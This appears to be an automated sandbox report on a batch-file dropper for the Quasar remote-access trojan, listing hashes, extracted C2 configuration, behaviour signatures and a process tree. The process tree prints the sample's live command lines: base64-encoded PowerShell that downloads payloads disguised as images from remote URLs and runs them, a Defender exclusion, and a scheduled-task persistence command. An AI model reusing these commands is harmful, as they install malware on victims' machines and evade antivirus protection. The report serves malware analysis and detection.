Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
43s -
max time network
44s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31/12/2024, 20:02
Static task
static1
Behavioral task
behavioral1
Sample
n.cmd
Resource
win7-20241010-en
Errors
General
-
Target
n.cmd
-
Size
1KB
-
MD5
fa75e849a3beb187d543d9b4ae894dcc
-
SHA1
41b1a755057677bfa617c089ba6092733155a1f0
-
SHA256
ea4b2c7dbf2be84aa81e55112e40392a7c54cfabde85d3ece594d834b3c9254d
-
SHA512
eed68bf4aba6af83620591f9cdefbe5e954f5bfbb14116015c215b306ecde7e8f9736b7e886e6ecbc0a71dda8ba2a58c7f4b5b7b6354104652715052e016f91f
Malware Config
Extracted
https://i.imghippo.com/files/CFqi5277Mc.jpg
Extracted
https://i.imghippo.com/files/mcm7321uo.jpg
Extracted
quasar
1.4.1
afafaf
194.26.192.167:2768
c1060262-cacc-4b5e-8e09-ac72d84cef52
-
encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
-
install_name
OneDrive.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
OneDrive
-
subdirectory
OneDrive
Signatures
-
Quasar family
-
Quasar payload 2 IoCs
resource yara_rule behavioral2/files/0x000200000001e769-109.dat family_quasar behavioral2/memory/2608-117-0x00000000001F0000-0x0000000000514000-memory.dmp family_quasar -
Blocklisted process makes network request 2 IoCs
flow pid Process 13 4392 powershell.exe 15 4064 powershell.exe -
pid Process 1200 powershell.exe 3176 powershell.exe 2404 powershell.exe 1384 powershell.exe 3628 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation OneDrive.exe -
Executes dropped EXE 1 IoCs
pid Process 2608 OneDrive.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "218" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4636 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 1200 powershell.exe 1200 powershell.exe 1384 powershell.exe 1384 powershell.exe 3176 powershell.exe 3176 powershell.exe 4312 powershell.exe 4312 powershell.exe 3628 powershell.exe 3628 powershell.exe 4392 powershell.exe 4392 powershell.exe 2404 powershell.exe 2404 powershell.exe 4064 powershell.exe 4064 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1200 powershell.exe Token: SeDebugPrivilege 1384 powershell.exe Token: SeDebugPrivilege 3176 powershell.exe Token: SeDebugPrivilege 4312 powershell.exe Token: SeDebugPrivilege 3628 powershell.exe Token: SeDebugPrivilege 4392 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 4064 powershell.exe Token: SeDebugPrivilege 2608 OneDrive.exe Token: SeShutdownPrivilege 4544 shutdown.exe Token: SeRemoteShutdownPrivilege 4544 shutdown.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2608 OneDrive.exe 4832 LogonUI.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 516 wrote to memory of 1200 516 cmd.exe 85 PID 516 wrote to memory of 1200 516 cmd.exe 85 PID 516 wrote to memory of 1384 516 cmd.exe 86 PID 516 wrote to memory of 1384 516 cmd.exe 86 PID 1384 wrote to memory of 4320 1384 powershell.exe 87 PID 1384 wrote to memory of 4320 1384 powershell.exe 87 PID 4320 wrote to memory of 3176 4320 cmd.exe 89 PID 4320 wrote to memory of 3176 4320 cmd.exe 89 PID 4320 wrote to memory of 4312 4320 cmd.exe 90 PID 4320 wrote to memory of 4312 4320 cmd.exe 90 PID 4312 wrote to memory of 3628 4312 powershell.exe 91 PID 4312 wrote to memory of 3628 4312 powershell.exe 91 PID 4320 wrote to memory of 4392 4320 cmd.exe 92 PID 4320 wrote to memory of 4392 4320 cmd.exe 92 PID 4392 wrote to memory of 512 4392 powershell.exe 93 PID 4392 wrote to memory of 512 4392 powershell.exe 93 PID 512 wrote to memory of 2404 512 cmd.exe 95 PID 512 wrote to memory of 2404 512 cmd.exe 95 PID 512 wrote to memory of 4064 512 cmd.exe 96 PID 512 wrote to memory of 4064 512 cmd.exe 96 PID 4064 wrote to memory of 2608 4064 powershell.exe 103 PID 4064 wrote to memory of 2608 4064 powershell.exe 103 PID 2608 wrote to memory of 4636 2608 OneDrive.exe 104 PID 2608 wrote to memory of 4636 2608 OneDrive.exe 104 PID 2608 wrote to memory of 4544 2608 OneDrive.exe 110 PID 2608 wrote to memory of 4544 2608 OneDrive.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\n.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1200
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\n.cmd' -ArgumentList 'am_admin'"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\n.cmd" am_admin3⤵
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3176
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3628
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAEMARgBxAGkANQAyADcANwBNAGMALgBqAHAAZwAiADsAJABwAGEAdABoAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE8AbgBlAEQAcgBpAHYAZQAiADsAbQBrAGQAaQByACAAJABwAGEAdABoACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABUAGUAeAB0ACgAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAiACQAcABhAHQAaABcAGIAdQBkAGQAeQAuAGoAcABnACIAIAAtAFIAYQB3ACkAKQApACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiAA0ACgA=4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "5⤵
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -command ""6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAG0AYwBtADcAMwAyADEAdQBvAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACQAYgA2ADQARgBpAGwAZQA9ACIAJABwAGEAdABoAFwAZgBpAGwAZQAuAGoAcABnACIAOwAkAGUAeABlAEYAaQBsAGUAPQAiACQAcABhAHQAaABcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAOwBpAHcAcgAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f8⤵
- Scheduled Task/Job: Scheduled Task
PID:4636
-
-
C:\Windows\System32\shutdown.exe"C:\Windows\System32\shutdown.exe" /s /t 08⤵
- Suspicious use of AdjustPrivilegeToken
PID:4544
-
-
-
-
-
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3941855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4832
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
Filesize
64B
MD53ca1082427d7b2cd417d7c0b7fd95e4e
SHA1b0482ff5b58ffff4f5242d77330b064190f269d3
SHA25631f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f
SHA512bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3
-
Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
Filesize
1KB
MD5b08c623a4c3d593e0197312ee60fd80b
SHA1d758f831d82d40e2cf2b5303928840fef63c6e08
SHA2569cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37
SHA5120a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
847B
MD5715335afe50e72cc5bd2c63805bd2add
SHA1b34f448421570f46b076ae607fc1a01f8b023165
SHA256e085efa731076a2454e9d65b733f53dc59b02fd8f57cb79197ed91deb855b2f3
SHA512701bd7ace74c2fe673670987a3bd6e6686d0fd05bbdc3377bfd4e24d38d837b49f872398d0497888258ec42decb183fb8efd3c6a3dcf2ccc6464842d636d5113
-
Filesize
3.1MB
MD5b55e5489b45595fb38bf5bb30b69717b
SHA17511ee8909e0a0c53625eef4bd6b57250e561391
SHA2564f111d05ddb93bf8e4ec906d2705740790402254ee115982d9e5aae36c3b4ffe
SHA51240a520e89579a298922595428033b7f0ae0b8bd5bd6ead29488cad9707b153998ab88c3d55316045315297d185fefaaba49ef21b392ca216ac220e75220d1ead